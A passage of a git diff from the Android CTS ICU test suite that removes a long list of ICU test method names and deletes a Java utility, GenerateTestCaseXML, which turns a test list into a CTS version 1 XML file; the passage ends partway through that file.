-android.icu.dev.test.translit.TransliteratorTest#TestGetAvailableTargets
-android.icu.dev.test.translit.TransliteratorTest#TestGetAvailableVariants
-android.icu.dev.test.translit.TransliteratorTest#TestGurmukhiDevanagari
-android.icu.dev.test.translit.TransliteratorTest#TestHalfwidthFullwidth
-android.icu.dev.test.translit.TransliteratorTest#TestHangul
-android.icu.dev.test.translit.TransliteratorTest#TestHiraganaKatakana
-android.icu.dev.test.translit.TransliteratorTest#TestIDForms
-android.icu.dev.test.translit.TransliteratorTest#TestIncrementalProgress
-android.icu.dev.test.translit.TransliteratorTest#TestInlineSet
-android.icu.dev.test.translit.TransliteratorTest#TestInstantiation
-android.icu.dev.test.translit.TransliteratorTest#TestInterIndic
-android.icu.dev.test.translit.TransliteratorTest#TestInvalidBackRef
-android.icu.dev.test.translit.TransliteratorTest#TestInvalidPostContext
-android.icu.dev.test.translit.TransliteratorTest#TestJ277
-android.icu.dev.test.translit.TransliteratorTest#TestJ329
-android.icu.dev.test.translit.TransliteratorTest#TestKeyboard
-android.icu.dev.test.translit.TransliteratorTest#TestKeyboard2
-android.icu.dev.test.translit.TransliteratorTest#TestKeyboard3
-android.icu.dev.test.translit.TransliteratorTest#TestLiberalizedID
-android.icu.dev.test.translit.TransliteratorTest#TestLocaleInstantiation
-android.icu.dev.test.translit.TransliteratorTest#TestLocaleResource
-android.icu.dev.test.translit.TransliteratorTest#TestMulticharStringSet
-android.icu.dev.test.translit.TransliteratorTest#TestNameMap
-android.icu.dev.test.translit.TransliteratorTest#TestNewEngine
-android.icu.dev.test.translit.TransliteratorTest#TestNextLine
-android.icu.dev.test.translit.TransliteratorTest#TestNFDChainRBT
-android.icu.dev.test.translit.TransliteratorTest#TestNormalizationTransliterator
-android.icu.dev.test.translit.TransliteratorTest#TestNullInverse
-android.icu.dev.test.translit.TransliteratorTest#TestOutputSet
-android.icu.dev.test.translit.TransliteratorTest#TestParseError
-android.icu.dev.test.translit.TransliteratorTest#TestPatternQuoting
-android.icu.dev.test.translit.TransliteratorTest#TestPatternWhitespace
-android.icu.dev.test.translit.TransliteratorTest#TestPositionAPI
-android.icu.dev.test.translit.TransliteratorTest#TestPositionHandling
-android.icu.dev.test.translit.TransliteratorTest#TestPropertySet
-android.icu.dev.test.translit.TransliteratorTest#TestQuantifiedSegment
-android.icu.dev.test.translit.TransliteratorTest#TestQuantifier
-android.icu.dev.test.translit.TransliteratorTest#TestRegisterAlias
-android.icu.dev.test.translit.TransliteratorTest#TestRegistry
-android.icu.dev.test.translit.TransliteratorTest#TestRemove
-android.icu.dev.test.translit.TransliteratorTest#TestRuleBasedInverse
-android.icu.dev.test.translit.TransliteratorTest#TestSanskritLatinRT
-android.icu.dev.test.translit.TransliteratorTest#TestScriptAllCodepoints
-android.icu.dev.test.translit.TransliteratorTest#TestSegments
-android.icu.dev.test.translit.TransliteratorTest#TestSimpleRules
-android.icu.dev.test.translit.TransliteratorTest#TestSourceTargetSet
-android.icu.dev.test.translit.TransliteratorTest#TestSourceTargetSet2
-android.icu.dev.test.translit.TransliteratorTest#TestSourceTargetSetFilter
-android.icu.dev.test.translit.TransliteratorTest#TestSpecialCases
-android.icu.dev.test.translit.TransliteratorTest#TestSTV
-android.icu.dev.test.translit.TransliteratorTest#TestSupplemental
-android.icu.dev.test.translit.TransliteratorTest#TestSurrogateCasing
-android.icu.dev.test.translit.TransliteratorTest#TestT5160
-android.icu.dev.test.translit.TransliteratorTest#TestTeluguLatinRT
-android.icu.dev.test.translit.TransliteratorTest#TestThai
-android.icu.dev.test.translit.TransliteratorTest#TestTitleAccents
-android.icu.dev.test.translit.TransliteratorTest#TestToRules
-android.icu.dev.test.translit.TransliteratorTest#TestToRulesMark
-android.icu.dev.test.translit.TransliteratorTest#TestUndefinedVariable
-android.icu.dev.test.translit.TransliteratorTest#TestUserFunction
-android.icu.dev.test.translit.TransliteratorTest#TestVariableNames
-android.icu.dev.test.translit.TransliteratorTest#TestVariableRange
-android.icu.dev.test.translit.UnicodeMapTest#TestAMonkey
-android.icu.dev.test.translit.UnicodeMapTest#TestCloneAsThawed11721
-android.icu.dev.test.translit.UnicodeMapTest#TestIterations
-android.icu.dev.test.translit.UnicodeMapTest#TestModify
-android.icu.dev.test.translit.UnicodeMapTest#TestRemove
-android.icu.dev.test.util.BytesTrieTest#Test00Builder
-android.icu.dev.test.util.BytesTrieTest#Test10Empty
-android.icu.dev.test.util.BytesTrieTest#Test11_a
-android.icu.dev.test.util.BytesTrieTest#Test12_a_ab
-android.icu.dev.test.util.BytesTrieTest#Test20ShortestBranch
-android.icu.dev.test.util.BytesTrieTest#Test21Branches
-android.icu.dev.test.util.BytesTrieTest#Test22LongSequence
-android.icu.dev.test.util.BytesTrieTest#Test23LongBranch
-android.icu.dev.test.util.BytesTrieTest#Test24ValuesForState
-android.icu.dev.test.util.BytesTrieTest#Test30Compact
-android.icu.dev.test.util.BytesTrieTest#Test40GetUniqueValue
-android.icu.dev.test.util.BytesTrieTest#Test41GetNextBytes
-android.icu.dev.test.util.BytesTrieTest#Test50IteratorFromBranch
-android.icu.dev.test.util.BytesTrieTest#Test51IteratorFromLinearMatch
-android.icu.dev.test.util.BytesTrieTest#Test52TruncatingIteratorFromRoot
-android.icu.dev.test.util.BytesTrieTest#Test53TruncatingIteratorFromLinearMatchShort
-android.icu.dev.test.util.BytesTrieTest#Test54TruncatingIteratorFromLinearMatchLong
-android.icu.dev.test.util.BytesTrieTest#Test59IteratorFromBytes
-android.icu.dev.test.util.CharsTrieTest#Test00Builder
-android.icu.dev.test.util.CharsTrieTest#Test10Empty
-android.icu.dev.test.util.CharsTrieTest#Test11_a
-android.icu.dev.test.util.CharsTrieTest#Test12_a_ab
-android.icu.dev.test.util.CharsTrieTest#Test20ShortestBranch
-android.icu.dev.test.util.CharsTrieTest#Test21Branches
-android.icu.dev.test.util.CharsTrieTest#Test22LongSequence
-android.icu.dev.test.util.CharsTrieTest#Test23LongBranch
-android.icu.dev.test.util.CharsTrieTest#Test24ValuesForState
-android.icu.dev.test.util.CharsTrieTest#Test30Compact
-android.icu.dev.test.util.CharsTrieTest#Test31FirstForCodePoint
-android.icu.dev.test.util.CharsTrieTest#Test32NextForCodePoint
-android.icu.dev.test.util.CharsTrieTest#Test37LargeTrie
-android.icu.dev.test.util.CharsTrieTest#Test40GetUniqueValue
-android.icu.dev.test.util.CharsTrieTest#Test41GetNextChars
-android.icu.dev.test.util.CharsTrieTest#Test50IteratorFromBranch
-android.icu.dev.test.util.CharsTrieTest#Test51IteratorFromLinearMatch
-android.icu.dev.test.util.CharsTrieTest#Test52TruncatingIteratorFromRoot
-android.icu.dev.test.util.CharsTrieTest#Test53TruncatingIteratorFromLinearMatchShort
-android.icu.dev.test.util.CharsTrieTest#Test54TruncatingIteratorFromLinearMatchLong
-android.icu.dev.test.util.CharsTrieTest#Test59IteratorFromChars
-android.icu.dev.test.util.CompactArrayTest#TestByteArrayCoverage
-android.icu.dev.test.util.CompactArrayTest#TestCharArrayCoverage
-android.icu.dev.test.util.CurrencyTest#TestAPI
-android.icu.dev.test.util.CurrencyTest#TestAvailableCurrencyCodes
-android.icu.dev.test.util.CurrencyTest#TestCoverage
-android.icu.dev.test.util.CurrencyTest#TestCurrencyData
-android.icu.dev.test.util.CurrencyTest#TestCurrencyDisplayNames
-android.icu.dev.test.util.CurrencyTest#TestCurrencyInfoCtor
-android.icu.dev.test.util.CurrencyTest#TestCurrencyKeyword
-android.icu.dev.test.util.CurrencyTest#TestCurrencyMetaInfo
-android.icu.dev.test.util.CurrencyTest#testCurrencyMetaInfoRanges
-android.icu.dev.test.util.CurrencyTest#testCurrencyMetaInfoRangesWithLongs
-android.icu.dev.test.util.CurrencyTest#TestDeprecatedCurrencyFormat
-android.icu.dev.test.util.CurrencyTest#TestGetAvailableCurrencies
-android.icu.dev.test.util.CurrencyTest#TestGetDisplayName
-android.icu.dev.test.util.CurrencyTest#TestGetKeywordValues
-android.icu.dev.test.util.CurrencyTest#TestGetNumericCode
-android.icu.dev.test.util.CurrencyTest#TestIsAvailable
-android.icu.dev.test.util.CurrencyTest#TestNames
-android.icu.dev.test.util.CurrencyTest#TestRegistration
-android.icu.dev.test.util.CurrencyTest#TestWithTender
-android.icu.dev.test.util.DebugUtilitiesTest#TestStrings
-android.icu.dev.test.util.GenderInfoTest#TestEmpty
-android.icu.dev.test.util.GenderInfoTest#TestFallback
-android.icu.dev.test.util.GenderInfoTest#TestOne
-android.icu.dev.test.util.GenderInfoTest#TestOther
-android.icu.dev.test.util.ICUBinaryTest#TestReadHeader
-android.icu.dev.test.util.ICUResourceBundleCollationTest#TestFunctionalEquivalent
-android.icu.dev.test.util.ICUResourceBundleCollationTest#TestGetWithFallback
-android.icu.dev.test.util.ICUResourceBundleCollationTest#TestKeywordValues
-android.icu.dev.test.util.ICUResourceBundleCollationTest#TestOpen
-android.icu.dev.test.util.ICUResourceBundleTest#TestAlias
-android.icu.dev.test.util.ICUResourceBundleTest#TestAliases
-android.icu.dev.test.util.ICUResourceBundleTest#TestAliasFallback
-android.icu.dev.test.util.ICUResourceBundleTest#TestBasicTypes
-android.icu.dev.test.util.ICUResourceBundleTest#TestCircularAliases
-android.icu.dev.test.util.ICUResourceBundleTest#TestCLDRStyleAliases
-android.icu.dev.test.util.ICUResourceBundleTest#TestCoverage
-android.icu.dev.test.util.ICUResourceBundleTest#TestFunctionalEquivalent
-android.icu.dev.test.util.ICUResourceBundleTest#TestGetResources
-android.icu.dev.test.util.ICUResourceBundleTest#TestGetWithFallback
-android.icu.dev.test.util.ICUResourceBundleTest#TestICUGetKeysAtTopLevel
-android.icu.dev.test.util.ICUResourceBundleTest#TestICUGetKeysForResourceItem
-android.icu.dev.test.util.ICUResourceBundleTest#TestJavaULocaleBundleLoading
-android.icu.dev.test.util.ICUResourceBundleTest#TestJB3879
-android.icu.dev.test.util.ICUResourceBundleTest#TestJB4102
-android.icu.dev.test.util.ICUResourceBundleTest#TestLoadingStatus
-android.icu.dev.test.util.ICUResourceBundleTest#TestLocaleDisplayNames
-android.icu.dev.test.util.ICUResourceBundleTest#TestNorwegian
-android.icu.dev.test.util.ICUResourceBundleTest#TestOpen
-android.icu.dev.test.util.ICUResourceBundleTest#TestPreventFallback
-android.icu.dev.test.util.ICUResourceBundleTest#TestResourceBundleWrapper
-android.icu.dev.test.util.ICUResourceBundleTest#TestT6844
-android.icu.dev.test.util.ICUResourceBundleTest#TestTable32
-android.icu.dev.test.util.ICUResourceBundleTest#TestUResourceBundleCoverage
-android.icu.dev.test.util.ICUResourceBundleTest#TestXPathAlias
-android.icu.dev.test.util.ICUServiceTest#TestAPI
-android.icu.dev.test.util.ICUServiceTest#TestCoverage
-android.icu.dev.test.util.ICUServiceTest#TestLocale
-android.icu.dev.test.util.ICUServiceTest#TestWrapFactory
-android.icu.dev.test.util.ICUServiceThreadTest#Test00_ConcurrentGet
-android.icu.dev.test.util.ICUServiceThreadTest#Test01_ConcurrentGetVisible
-android.icu.dev.test.util.ICUServiceThreadTest#Test02_ConcurrentGetDisplay
-android.icu.dev.test.util.ICUServiceThreadTest#Test03_ConcurrentRegUnreg
-android.icu.dev.test.util.ICUServiceThreadTest#Test04_WitheringService
-android.icu.dev.test.util.ICUServiceThreadTest#Test05_ConcurrentEverything
-android.icu.dev.test.util.LocaleAliasCollationTest#TestCollation
-android.icu.dev.test.util.LocaleAliasTest#TestCalendar
-android.icu.dev.test.util.LocaleAliasTest#TestDateFormat
-android.icu.dev.test.util.LocaleAliasTest#TestDisplayName
-android.icu.dev.test.util.LocaleAliasTest#TestULocale
-android.icu.dev.test.util.LocaleAliasTest#TestUResourceBundle
-android.icu.dev.test.util.LocaleBuilderTest#TestLocaleBuilder
-android.icu.dev.test.util.LocaleBuilderTest#TestSetLocale
-android.icu.dev.test.util.LocaleDataTest#TestCoverage
-android.icu.dev.test.util.LocaleDataTest#TestEnglishExemplarCharacters
-android.icu.dev.test.util.LocaleDataTest#TestExemplarSet
-android.icu.dev.test.util.LocaleDataTest#TestExemplarSet2
-android.icu.dev.test.util.LocaleDataTest#TestExemplarSetTypes
-android.icu.dev.test.util.LocaleDataTest#TestFallback
-android.icu.dev.test.util.LocaleDataTest#TestLocaleDisplayPattern
-android.icu.dev.test.util.LocaleDataTest#TestMeasurementSystem
-android.icu.dev.test.util.LocaleDataTest#TestPaperSize
-android.icu.dev.test.util.LocaleMatcherTest#Test8288
-android.icu.dev.test.util.LocaleMatcherTest#testAsymmetry
-android.icu.dev.test.util.LocaleMatcherTest#testBasics
-android.icu.dev.test.util.LocaleMatcherTest#testBestMatchForTraditionalChinese
-android.icu.dev.test.util.LocaleMatcherTest#testChinese
-android.icu.dev.test.util.LocaleMatcherTest#testEmpty
-android.icu.dev.test.util.LocaleMatcherTest#testenGB
-android.icu.dev.test.util.LocaleMatcherTest#testExactMatches
-android.icu.dev.test.util.LocaleMatcherTest#testFallback
-android.icu.dev.test.util.LocaleMatcherTest#testFallbacks
-android.icu.dev.test.util.LocaleMatcherTest#testGetBestMatchForList_closeEnoughMatchOnMaximized
-android.icu.dev.test.util.LocaleMatcherTest#testGetBestMatchForList_exactMatch
-android.icu.dev.test.util.LocaleMatcherTest#testGetBestMatchForList_matchOnMaximized
-android.icu.dev.test.util.LocaleMatcherTest#testGetBestMatchForList_matchOnMaximized2
-android.icu.dev.test.util.LocaleMatcherTest#testGetBestMatchForList_noMatchOnMaximized
-android.icu.dev.test.util.LocaleMatcherTest#testGetBestMatchForList_simpleVariantMatch
-android.icu.dev.test.util.LocaleMatcherTest#testGetBestMatchForPortuguese
-android.icu.dev.test.util.LocaleMatcherTest#testGetBestMatch_googlePseudoLocales
-android.icu.dev.test.util.LocaleMatcherTest#testGetBestMatch_regionDistance
-android.icu.dev.test.util.LocaleMatcherTest#testHK
-android.icu.dev.test.util.LocaleMatcherTest#TestLocaleMatcherCoverage
-android.icu.dev.test.util.LocaleMatcherTest#testMatch_exact
-android.icu.dev.test.util.LocaleMatcherTest#testMatchGrandfatheredCode
-android.icu.dev.test.util.LocaleMatcherTest#testMatch_matchOnMazimized
-android.icu.dev.test.util.LocaleMatcherTest#testMatch_none
-android.icu.dev.test.util.LocaleMatcherTest#testOverrideData
-android.icu.dev.test.util.LocaleMatcherTest#testParentLocales
-android.icu.dev.test.util.LocaleMatcherTest#testPerf
-android.icu.dev.test.util.LocaleMatcherTest#testRegionalSpecials
-android.icu.dev.test.util.LocaleMatcherTest#testSpecials
-android.icu.dev.test.util.LocaleMatcherTest#testUndefined
-android.icu.dev.test.util.LocaleMatcherTest#testVariantWithScriptMatch
-android.icu.dev.test.util.LocaleMatcherTest#testVariantWithScriptMatch2
-android.icu.dev.test.util.LocalePriorityListTest#testLanguagePriorityList
-android.icu.dev.test.util.RegionTest#TestAvailableTerritories
-android.icu.dev.test.util.RegionTest#TestContains
-android.icu.dev.test.util.RegionTest#TestGetContainedRegions
-android.icu.dev.test.util.RegionTest#TestGetContainedRegionsWithType
-android.icu.dev.test.util.RegionTest#TestGetContainingRegion
-android.icu.dev.test.util.RegionTest#TestGetContainingRegionWithType
-android.icu.dev.test.util.RegionTest#TestGetInstanceInt
-android.icu.dev.test.util.RegionTest#TestGetInstanceString
-android.icu.dev.test.util.RegionTest#TestGetPreferredValues
-android.icu.dev.test.util.RegionTest#TestKnownRegions
-android.icu.dev.test.util.SimplePatternFormatterTest#TestBigPlaceholder
-android.icu.dev.test.util.SimplePatternFormatterTest#TestFormatReplaceNoOptimization
-android.icu.dev.test.util.SimplePatternFormatterTest#TestFormatReplaceNoOptimizationLeadingPlaceholderUsedTwice
-android.icu.dev.test.util.SimplePatternFormatterTest#TestFormatReplaceNoOptimizationLeadingText
-android.icu.dev.test.util.SimplePatternFormatterTest#TestFormatReplaceNoOptimizationNoOffsets
-android.icu.dev.test.util.SimplePatternFormatterTest#TestFormatReplaceOptimization
-android.icu.dev.test.util.SimplePatternFormatterTest#TestFormatReplaceOptimizationNoOffsets
-android.icu.dev.test.util.SimplePatternFormatterTest#TestFormatUseAppendToAsPlaceholder
-android.icu.dev.test.util.SimplePatternFormatterTest#TestGetTextWithNoPlaceholders
-android.icu.dev.test.util.SimplePatternFormatterTest#TestOnePlaceholder
-android.icu.dev.test.util.SimplePatternFormatterTest#TestQuotingLikeMessageFormat
-android.icu.dev.test.util.SimplePatternFormatterTest#TestSyntaxErrors
-android.icu.dev.test.util.SimplePatternFormatterTest#TestTooFewPlaceholderValues
-android.icu.dev.test.util.SimplePatternFormatterTest#TestWithNoPlaceholders
-android.icu.dev.test.util.SimplePatternFormatterTest#TestWithPlaceholders
-android.icu.dev.test.util.StringTokenizerTest#TestAdd_int
-android.icu.dev.test.util.StringTokenizerTest#TestAdd_int_int
-android.icu.dev.test.util.StringTokenizerTest#TestBug4423
-android.icu.dev.test.util.StringTokenizerTest#TestCharAt
-android.icu.dev.test.util.StringTokenizerTest#TestComplement_int_int
-android.icu.dev.test.util.StringTokenizerTest#TestComplement_String
-android.icu.dev.test.util.StringTokenizerTest#TestConstructors
-android.icu.dev.test.util.StringTokenizerTest#TestContains_int
-android.icu.dev.test.util.StringTokenizerTest#TestContains_int_int
-android.icu.dev.test.util.StringTokenizerTest#TestContainsNone
-android.icu.dev.test.util.StringTokenizerTest#TestCountTokens
-android.icu.dev.test.util.StringTokenizerTest#TestCountTokensNoCoalesce
-android.icu.dev.test.util.StringTokenizerTest#Test_GeneratePattern
-android.icu.dev.test.util.StringTokenizerTest#TestGetRegexEquivalent
-android.icu.dev.test.util.StringTokenizerTest#TestGetSingleCP
-android.icu.dev.test.util.StringTokenizerTest#TestIndexOf
-android.icu.dev.test.util.StringTokenizerTest#TestMatches
-android.icu.dev.test.util.StringTokenizerTest#TestMatchesAt
-android.icu.dev.test.util.StringTokenizerTest#TestMatchRest
-android.icu.dev.test.util.StringTokenizerTest#TestNextDelimiterToken
-android.icu.dev.test.util.StringTokenizerTest#TestNextNewDelimiters
-android.icu.dev.test.util.StringTokenizerTest#TestNextNonDelimiterToken
-android.icu.dev.test.util.StringTokenizerTest#TestNoCoalesce
-android.icu.dev.test.util.StringTokenizerTest#TestRemove
-android.icu.dev.test.util.StringTokenizerTest#TestRemoveAllString
-android.icu.dev.test.util.StringTokenizerTest#TestRetain_int_int
-android.icu.dev.test.util.StringTokenizerTest#TestRetain_String
-android.icu.dev.test.util.StringTokenizerTest#TestSupplementary
-android.icu.dev.test.util.TextTrieMapTest#TestCaseInsensitive
-android.icu.dev.test.util.TextTrieMapTest#TestCaseSensitive
-android.icu.dev.test.util.Trie2Test#TestCharSequenceIterator
-android.icu.dev.test.util.Trie2Test#TestRanges
-android.icu.dev.test.util.Trie2Test#TestTrie2API
-android.icu.dev.test.util.Trie2Test#TestTrie2WritableAPI
-android.icu.dev.test.util.TrieTest#TestDummyCharTrie
-android.icu.dev.test.util.TrieTest#TestDummyIntTrie
-android.icu.dev.test.util.TrieTest#TestIntTrie
-android.icu.dev.test.util.ULocaleCollationTest#TestCollator
-android.icu.dev.test.util.ULocaleCollationTest#TestIllformedLocale
-android.icu.dev.test.util.ULocaleCollationTest#TestNameList
-android.icu.dev.test.util.ULocaleTest#Test4735
-android.icu.dev.test.util.ULocaleTest#TestAcceptLanguage
-android.icu.dev.test.util.ULocaleTest#TestAcceptLanguage2
-android.icu.dev.test.util.ULocaleTest#TestAddLikelySubtags
-android.icu.dev.test.util.ULocaleTest#TestBamBm
-android.icu.dev.test.util.ULocaleTest#TestBasicGetters
-android.icu.dev.test.util.ULocaleTest#TestCalendar
-android.icu.dev.test.util.ULocaleTest#TestCanonicalization
-android.icu.dev.test.util.ULocaleTest#TestCategoryDefault
-android.icu.dev.test.util.ULocaleTest#TestChineseToLocale
-android.icu.dev.test.util.ULocaleTest#TestCLDRVersion
-android.icu.dev.test.util.ULocaleTest#TestComparable
-android.icu.dev.test.util.ULocaleTest#TestCoverage
-android.icu.dev.test.util.ULocaleTest#TestDateFormat
-android.icu.dev.test.util.ULocaleTest#TestDisplayKeyword
-android.icu.dev.test.util.ULocaleTest#TestDisplayLanguageWithDialectCoverage
-android.icu.dev.test.util.ULocaleTest#TestDisplayNames
-android.icu.dev.test.util.ULocaleTest#TestDisplayNameWithDialectCoverage
-android.icu.dev.test.util.ULocaleTest#TestDisplayScriptCoverage
-android.icu.dev.test.util.ULocaleTest#TestDisplayWithKeyword
-android.icu.dev.test.util.ULocaleTest#TestExtension
-android.icu.dev.test.util.ULocaleTest#TestForLanguageTag
-android.icu.dev.test.util.ULocaleTest#TestForLocale
-android.icu.dev.test.util.ULocaleTest#TestGetAvailable
-android.icu.dev.test.util.ULocaleTest#TestGetFallback
-android.icu.dev.test.util.ULocaleTest#TestIsRightToLeft
-android.icu.dev.test.util.ULocaleTest#TestJavaLocaleCompatibility
-android.icu.dev.test.util.ULocaleTest#TestJB3962
-android.icu.dev.test.util.ULocaleTest#TestMinimize
-android.icu.dev.test.util.ULocaleTest#TestNumberFormat
-android.icu.dev.test.util.ULocaleTest#TestObsoleteNames
-android.icu.dev.test.util.ULocaleTest#TestOrientation
-android.icu.dev.test.util.ULocaleTest#TestPrefixes
-android.icu.dev.test.util.ULocaleTest#TestSetULocaleKeywords
-android.icu.dev.test.util.ULocaleTest#TestToLanguageTag
-android.icu.dev.test.util.ULocaleTest#TestToLegacyKey
-android.icu.dev.test.util.ULocaleTest#TestToLegacyType
-android.icu.dev.test.util.ULocaleTest#TestToLocale
-android.icu.dev.test.util.ULocaleTest#TestToUnicodeLocaleKey
-android.icu.dev.test.util.ULocaleTest#TestToUnicodeLocaleType
-android.icu.dev.test.util.ULocaleTest#TestUnicodeLocaleExtension
-android.icu.dev.test.util.UtilityTest#TestAssert
-android.icu.dev.test.util.UtilityTest#TestByteArrayWrapper
-android.icu.dev.test.util.UtilityTest#TestCaseInsensitiveString
-android.icu.dev.test.util.UtilityTest#TestCompareUnsigned
-android.icu.dev.test.util.UtilityTest#TestFormat
-android.icu.dev.test.util.UtilityTest#TestHighBit
-android.icu.dev.test.util.UtilityTest#TestSourceLocation
-android.icu.dev.test.util.UtilityTest#TestUnescape
-android.icu.dev.test.util.UtilityTest#TestUnicodeSet
-android.icu.dev.test.util.VersionInfoTest#TestComparable
-android.icu.dev.test.util.VersionInfoTest#TestCompare
-android.icu.dev.test.util.VersionInfoTest#TestGetter
-android.icu.dev.test.util.VersionInfoTest#TestInstance
-android.icu.dev.test.util.VersionInfoTest#TestMultiThread
-android.icu.dev.test.util.VersionInfoTest#TesttoString
diff --git a/tests/tests/icu/tools/android/icu/cts/tools/GenerateTestCaseXML.java b/tests/tests/icu/tools/android/icu/cts/tools/GenerateTestCaseXML.java
deleted file mode 100644
index 4cd0068..0000000
--- a/tests/tests/icu/tools/android/icu/cts/tools/GenerateTestCaseXML.java
+++ /dev/null
@@ -1,245 +0,0 @@
-package android.icu.cts.tools;
-
-import com.google.common.base.Joiner;
-import com.android.compatibility.common.util.AbiUtils;
-import org.w3c.dom.Attr;
-import org.w3c.dom.Document;
-import org.w3c.dom.Element;
-import org.w3c.dom.Node;
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.FileReader;
-import java.io.IOException;
-import java.util.Map;
-import java.util.Set;
-import java.util.TreeMap;
-import java.util.TreeSet;
-import javax.xml.parsers.DocumentBuilderFactory;
-import javax.xml.transform.Transformer;
-import javax.xml.transform.TransformerFactory;
-import javax.xml.transform.dom.DOMSource;
-import javax.xml.transform.stream.StreamResult;
-
-/**
- * Generates an XML file suitable for CTS version 1.
- *
- * <p>A lot of this code is copied from {@code tools/utils/DescriptionGenerator.java} and
- * {@code tools/utils/CollectAllTests.java}. Ideally, that code should have been refactored to make
- * it usable in this case but that would have taken quite a lot of time and given that CTS version 1
- * is going away anyway and CTS version 2 doesn't need an XML file this seemed like the best
- * approach.
- */
-public class GenerateTestCaseXML {
-
-  private static final String ATTRIBUTE_RUNNER = "runner";
-
-  private static final String ATTRIBUTE_PACKAGE = "appPackageName";
-
-  private static final String ATTRIBUTE_NS = "appNameSpace";
-
-  static final String TAG_PACKAGE = "TestPackage";
-
-  static final String TAG_SUITE = "TestSuite";
-
-  static final String TAG_CASE = "TestCase";
-
-  static final String TAG_TEST = "Test";
-
-  static final String ATTRIBUTE_NAME_VERSION = "version";
-
-  static final String ATTRIBUTE_VALUE_VERSION = "1.0";
-
-  static final String ATTRIBUTE_NAME_FRAMEWORK = "AndroidFramework";
-
-  static final String ATTRIBUTE_VALUE_FRAMEWORK = "Android 1.0";
-
-  static final String ATTRIBUTE_NAME = "name";
-
-  static final String ATTRIBUTE_ABIS = "abis";
-
-  public static void main(String[] args) throws Exception {
-    if (args.length != 3) {
-      throw new IllegalStateException(
-          "... <test-list-path> <architecture> <output-file-path");
-    }
-
-    String testListPath = args[0];
-    String architecture = args[1];
-    String outputFilePath = args[2];
-
-    File testListFile = new File(testListPath);
-    String abis = Joiner.on(" ").join(AbiUtils.getAbisForArch(architecture));
-    File testCaseXML = new File(outputFilePath);
-
-    TestSuite root = new TestSuite("");
-    try (FileReader fileReader = new FileReader(testListFile);
-         BufferedReader reader = new BufferedReader(fileReader)) {
-
-      String line;
-      while ((line = reader.readLine()) != null) {
-        int index = line.indexOf('#');
-        String className = line.substring(0, index);
-        String methodName = line.substring(index + 1);
-
-        root.addTest(className, methodName);
-      }
-    }
-
-    Document mDoc = DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument();
-
-    Element testPackageElem = mDoc.createElement(TAG_PACKAGE);
-    mDoc.appendChild(testPackageElem);
-
-    setAttribute(testPackageElem, ATTRIBUTE_NAME_VERSION, ATTRIBUTE_VALUE_VERSION);
-    setAttribute(testPackageElem, ATTRIBUTE_NAME_FRAMEWORK, ATTRIBUTE_VALUE_FRAMEWORK);
-    setAttribute(testPackageElem, ATTRIBUTE_NAME, "CtsIcuTestCases");
-    setAttribute(testPackageElem, ATTRIBUTE_RUNNER, "android.icu.cts.IcuTestRunnerForCtsV1");
-    setAttribute(testPackageElem, ATTRIBUTE_PACKAGE, "android.icu.dev.test");
-    setAttribute(testPackageElem, ATTRIBUTE_NS, "android.icu.cts");
-
-    root.addChildInformation(testPackageElem, abis);
-
-    Transformer t = TransformerFactory.newInstance().newTransformer();
-
-    // enable indent in result file
-    t.setOutputProperty("indent", "yes");
-    t.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "4");
-
-    File directory = testCaseXML.getParentFile();
-    if (!directory.exists() && !directory.mkdirs()) {
-      throw new IOException("Could not create directory: " + directory);
-    }
-
-    t.transform(new DOMSource(mDoc), new StreamResult(new FileOutputStream(testCaseXML)));
-  }
-
-  /**
-   * Set the attribute of element.
-   *
-   * @param elem The element to be set attribute.
-   * @param name The attribute name.
-   * @param value The attribute value.
-   */
-  protected static void setAttribute(Node elem, String name, String value) {
-    Attr attr = elem.getOwnerDocument().createAttribute(name);
-    attr.setNodeValue(value);
-
-    elem.getAttributes().setNamedItem(attr);
-  }
-
-
-  /**
-   * The contents of a {@link TestSuite}, may be a {@link TestSuite} or a {@link TestCase}.
-   */
-  private static abstract class SuiteContent {
-
-    private final String name;
-
-    private SuiteContent(String name) {
-      this.name = name;
-    }
-
-    public String getName() {
-      return name;
-    }
-
-    public abstract void addInformation(Element parent, String abis);
-  }
-
-  public static class TestSuite extends SuiteContent {
-
-    private Map<String, SuiteContent> name2Content = new TreeMap<>();
-
-    public TestSuite(String name) {
-      super(name);
-    }
-
-    public TestSuite getSuite(String name) {
-      return getSuiteContent(TestSuite.class, name);
-    }
-
-    public TestCase getTestCase(String name) {
-      return getSuiteContent(TestCase.class, name);
-    }
-
-    private <S extends SuiteContent> S getSuiteContent(Class<? extends S> contentClass,
-        String name) {
-      SuiteContent content = name2Content.get(name);
-      S s;
-      if (content == null) {
-        try {
-          s = contentClass.getConstructor(String.class).newInstance(name);
-        } catch (Exception e) {
-          throw new RuntimeException("Could not create instance of " + contentClass, e);
-        }
-        name2Content.put(name, s);
-      } else if (contentClass.isInstance(content)) {
-        s = contentClass.cast(content);
-      } else {
-        throw new IllegalStateException("Expected " + this
-            + " to have a TestSuite called '" + name + "' but has "
-            + content + " instead");
-      }
-      return s;
-    }
-
-    public void addTest(String className, String methodName) {
-      int index = className.indexOf('.');
-      if (index == -1) {
-        TestCase testCase = getTestCase(className);
-        testCase.addMethod(methodName);
-      } else {
-        String suiteName = className.substring(0, index);
-        TestSuite childSuite = getSuite(suiteName);
-        childSuite.addTest(className.substring(index + 1), methodName);
-      }
-    }
-
-    @Override
-    public void addInformation(Element parent, String abis) {
-      Element suiteElement = appendElement(parent, TAG_SUITE);
-
-      setAttribute(suiteElement, ATTRIBUTE_NAME, getName());
-
-      addChildInformation(suiteElement, abis);
-    }
-
-    public void addChildInformation(Element parent, String abis) {
-      for (SuiteContent suiteContent : name2Content.values()) {
-        suiteContent.addInformation(parent, abis);
-      }
-    }
-  }
-
-  public static class TestCase extends SuiteContent {
-
-    private final Set<String> methods = new TreeSet<>();
-
-    public TestCase(String name) {
-      super(name);
-    }
-
-    @Override
-    public void addInformation(Element parent, String abis) {
-      Element testCaseElement = appendElement(parent, TAG_CASE);
-      setAttribute(testCaseElement, ATTRIBUTE_NAME, getName());
-      setAttribute(testCaseElement, ATTRIBUTE_ABIS, abis);
-
-      for (String method : methods) {
-        Element testElement = appendElement(testCaseElement, TAG_TEST);
-        setAttribute(testElement, ATTRIBUTE_NAME, method);
-      }
-    }
-
-    public void addMethod(String methodName) {
-      methods.add(methodName);
-    }
-  }
-
-  private static Element appendElement(Element parent, String tagName) {
-    Element testCaseElement = parent.getOwnerDocument().createElement(tagName);
-    parent.appendChild(testCaseElement);
-    return testCaseElement;
